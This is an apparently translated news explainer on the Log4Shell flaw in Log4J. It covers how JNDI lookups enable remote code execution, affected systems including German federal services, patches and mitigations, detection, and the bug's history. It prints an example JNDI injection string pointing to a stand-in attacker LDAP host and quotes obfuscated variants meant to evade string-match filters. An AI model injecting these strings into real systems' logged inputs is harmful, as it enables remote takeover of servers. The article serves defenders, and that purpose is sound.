It is probably already too late for simple precautions against the Log4J vulnerability. Why actually? Questions and answers about Log4Shell.
Microsoft's threat intelligence team, which is responsible for the evaluation and risk analysis of security vulnerabilities and malware, has published an initial analysis of the hole known as Log4Shell (CVE-2021-44228) in the Log4J logging library. There it emphasizes: Any system with Log4J must now be considered attacked.
Specifically, Microsoft's evaluation states: "Because the vectors through which this vulnerability can be exploited are very broad and full deployment of mitigations in large environments will take time, we recommend defenders to look for signs of subsequent exploitation to pay attention instead of relying entirely on prevention."
But could a vulnerability in a logging library have such serious effects within a few days of becoming known that precautions and the installation of updates hardly help? On the one hand, this is due to the extremely wide distribution of Log4J and, on the other hand, to the vulnerability itself, which is comparatively easy to exploit.
How does the vulnerability work?
In order to understand the procedure for exploiting the vulnerability, it is first important to know what Log4J actually does: As a logging application, the tool records messages from the software, for example error messages, so that they can be reproduced later. Usually, however, certain other character strings that come to an application from the outside are also recorded in this way. These are, for example, the user agent of a browser, the e-mail address or user name used for registration or parameters sent via an API.
Instead of just being written to a log file, these character strings are also interpreted under certain circumstances. The reason for this are the so-called lookups in the Log4J application logic, with which additional information can be added to the configuration of Log4J. These can be attributes of a Docker container or detailed information on the Java instance used.
One of these lookup functions in Log4J supports the Java Naming and Directory Interface (JNDI). This is used to load references to objects or classes - even from remote computers. In Log4J, it should be possible to load variables, for example, as the manual for the lookup function says. By default, the JNDI lookup in Log4J can be used via the LDAP directory service.
The attack via log4J vulnerability allows code execution on the affected servers. (Graphic: Govcert.ch)
Another key explanation of the JNDI lookups in Log4J is that "By default, the query is prefixed with java:comp/env/. However, if the key contains a ':', no prefix is added". In the first case, the call is limited to a specific environment, but not in the second, so that in this case references from remote servers could also be loaded if LDAP is used, for example.
So if there is a JNDI lookup call in a character string logged by Log4J, it will be executed. If the call also contains a ":", no prefix is used and the call itself is not restricted. A reference is then also loaded from external computers via JNDI. In order to successfully exploit the vulnerability, it is ultimately sufficient to operate your own LDAP server to point to the malware and use Log4J to get the target to log the call and then execute it.
The call follows this pattern: ${jndi:ldap://boese-domain.golem.de/a}. If the attacked target is available in the network, this easily leads to remote code execution (RCE), i.e. the execution of malicious code. Users showed the first examples of this last week for Steam, the iCloud or the Java edition of Minecraft, which could be taken over with the help of chat messages.
How does the Java context vulnerability work?
The actual purpose of the lookup is to query data in order to ensure better readability in the log file. For example, an LDAP server can be queried for the real name of the user name that has just tried to log in.
However, because such a log message from Log4J 2 consists not only of strings but also of objects and such a value queried via JNDI can be a complex object, there is the possibility that the response of the JNDI lookup call is a serialized Java -Object contains. This includes, for example, the class name and the serialized data.
If there is a class with the specified name in the class path on the server, an object of this class is instantiated with the serialized data - the server then has, for example, a completely filled object of the UserData class with name, first name, address and all other data . However, if the required class does not exist in its own class path, the information contained in the JNDI lookup response, if any, can be used to indicate in which third-party code repository the class can be found. This .class file is then loaded and passed to the ClassLoader so that instances can be instantiated and filled from it.
It has long been known that this can be a problem. Years ago, Oracle therefore introduced a system variable in Java 8 that can be used to prevent classes from being loaded from a remote repository. However, this was switched off by default for the first few years to prevent program code that relies on such a thing from being broken by a Java 8 update.
But the problem is that it doesn't really need this remote loading of .class files. Because even without this loading of classes, attackers can use a large number of existing classes by providing the appropriate information for deserialization. For example, a .class file passed as a string can be written somewhere in the local class path on the server.
Once such a file is in the class path, it is loaded again by the class loader each time the application is restarted; the big problem with this is that a Java class allows static code blocks. These static code blocks are already executed when the class is loaded into the classloader and not only when an object of this type is instantiated or a method call takes place on it.
This mechanism also means that the actual program code of the infected system does not have to contain any reference to the class in order for it to do its job. And this work can be anything that the local Java program on the server can do, including syscalls that run some programs, to building a hidden web page that exposes a shell through a browser.
What is affected? And what helps against Log4Shell?
The security company Luna Sec wrote last week that exploiting the vulnerability only requires some kind of endpoint that is available via protocol call (HTTP, TCP, etc.) and accepts strings that are ultimately logged. As described, this can also be a user name or something similar. The only other requirement is that a vulnerable version of Log4J is used on the JVM.
A further complication for global IT security is that Log4J is extremely widespread and it is not easy to say whether Log4J is running on one's own systems. After all, the open source tool is integrated by numerous other applications or used as a dependency. On Github there is now a community-maintained list of security notifications from manufacturers and open source projects that could be affected. The list now has more than 100 entries.
While the list on Github is a good starting point, it's probably not conclusive or complete. Due to the widespread use of the tool, it can be assumed that Log4J is probably used somewhere on one's own systems, even if only as a dependency. In order to search for possible Log4J instances, Cloudflare, for example, systematically examined all of its JVM instances and found what they were looking for.
According to the magazine Spiegel (Paywall), several federal authorities are also affected. According to this, the BSI has identified a single-digit number of positions in the federal administration that are said to have used Log4J. However, there are currently no indications that the vulnerability was actually exploited.
Log4J is also used by the ITZ-Bund, the central IT service provider of the federal administration. Even there, however, the all-clear is cautiously given. All previous checks had shown that there had been no unauthorized access to the networks of the federal administration due to the security vulnerability. Among other things, the special electronic lawyer's mailbox (BeA) is affected and parts of the Gematik infrastructure have currently been taken preventively from the network. In addition, it says: "File systems of the ePA apps of some health insurance companies have been put into maintenance mode."
On Saturday, the BSI had declared the highest warning level because of the security vulnerability. Since then, several people have been dealing with the problem around the clock in the BSI's Crisis Response Center. Several companies from the critical infrastructure sector are said to be affected by the security vulnerability.
What countermeasures are there? And how good are these?
As an immediate countermeasure, the Log4J team recommends updating to the current version 2.15, which fixes the underlying problem. Other versions are also affected. The official recommendation here is for versions 2.10 and later: Setting the property log4j2.formatMsgNoLookups to true or the variable LOG4J_FORMAT_MSG_NO_LOOKUPS to true.
For versions 2.0-beta9 up to and including 2.10, which are also vulnerable, the Log4J team recommends proceeding with a mallet: completely removing the JNDI lookup class from the application:
zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class .
This effectively prevents the vulnerability from being exploited, since JNDI calls can then no longer be executed.
Contrary to what was initially assumed, version 1 of Log4J is now also considered vulnerable to the attack under certain circumstances, not just version 2. However, version 1 has not been officially maintained for several years and is end-of-life (EOL). Official countermeasures are not described here, but it certainly makes sense to try to prevent the JDNI call in a similar way as described above.
In order for all of this to work successfully, all Log4J instances must first be found in your own system. In order to import the updates, users may also be dependent on their respective software providers who bundle Log4J. This is what makes the vulnerability so dangerous.
How do I recognize attacks?
Since the software is so widespread and updates or countermeasures are not easy to implement when in doubt, many providers of security software or firewalls recommend implementing appropriate filters and rules that could be used to detect attacks. However, if the filter is only after the start of the call "${jndi:ldap:", this can be easily disguised and avoided, as Microsoft writes.
The team writes: "We've seen things like running a lower or upper command inside the exploit string ({jndi:${lower:l}${lower:d}a${lower:p}) and even more complicated obfuscation attempts (${${::-j}${::-n}${::-d}${::-i}), all of which attempt to bypass string-match detection. " Some security researchers have already given up in view of the almost infinite number of possibilities.
How long have the attacks been going? And how dangerous are these?
For some server administrators, however, it may have been too late for patches before the vulnerability became known. According to Cloudflare CEO Matthew Prince, the vulnerability was exploited more than a week before it became public knowledge: "The earliest evidence we've found of the Log4J exploit so far is 2021-12-01 04:36: 50 UTC," Prince wrote on Twitter.
However, there is no evidence that the vulnerability has been exploited on a massive scale, says Prince. The security company Talos has also observed attacks with the Log4Shell vulnerability from December 2nd. If you are looking for signs of a compromise, you should extend the examined period to at least the whole of December. Microsoft also warns that the vulnerability is already being actively exploited for malware campaigns, such as Cobalt Strike.
But it could be even worse, as the vulnerability has been exploitable in Apache Log4J code for a long time. Anyone who discovered the vulnerability months or years ago could easily exploit it. Github indicates that the vulnerability was found months ago. There are now even warnings that the vulnerability could be used to build a worm.
How long has the vulnerability existed?
The corresponding functionality that introduced the vulnerability in Log4j was injected into the code back in 2013. This can be traced via the project's bug tracker. Striking: Apparently, the corresponding feature was adopted very quickly.
Just one day after the corresponding patch was made available, a developer included it in the official code of the project. The creation of the vulnerability is strikingly reminiscent of another incident: the Heartbleed bug in OpenSSL. Here, too, the developers quickly incorporated a potentially dangerous feature into their own code without asking too much - and they didn't realize that there was a dangerous security hole in it.
And as with OpenSSL in the case of Heartbleed, the maintainers of Log4J have so far only worked on the application in their free time.
-
https://malpedia.caad.fkie.fraunhofer.de/details/elf.kinsing
-
https://malpedia.caad.fkie.fraunhofer.de/details/elf.tsunami
-
https://blog.cloudflare.com/cve-2021-44228-log4j-rce-0-day-mitigation
-
https://www.fastly.com/blog/digging-deeper-into-log4shell-0day-rce-exploit-found-in-log4j
https://www.paloaltonetworks.com/blog/network-security/apache-log4j-vulnerability-ngfw/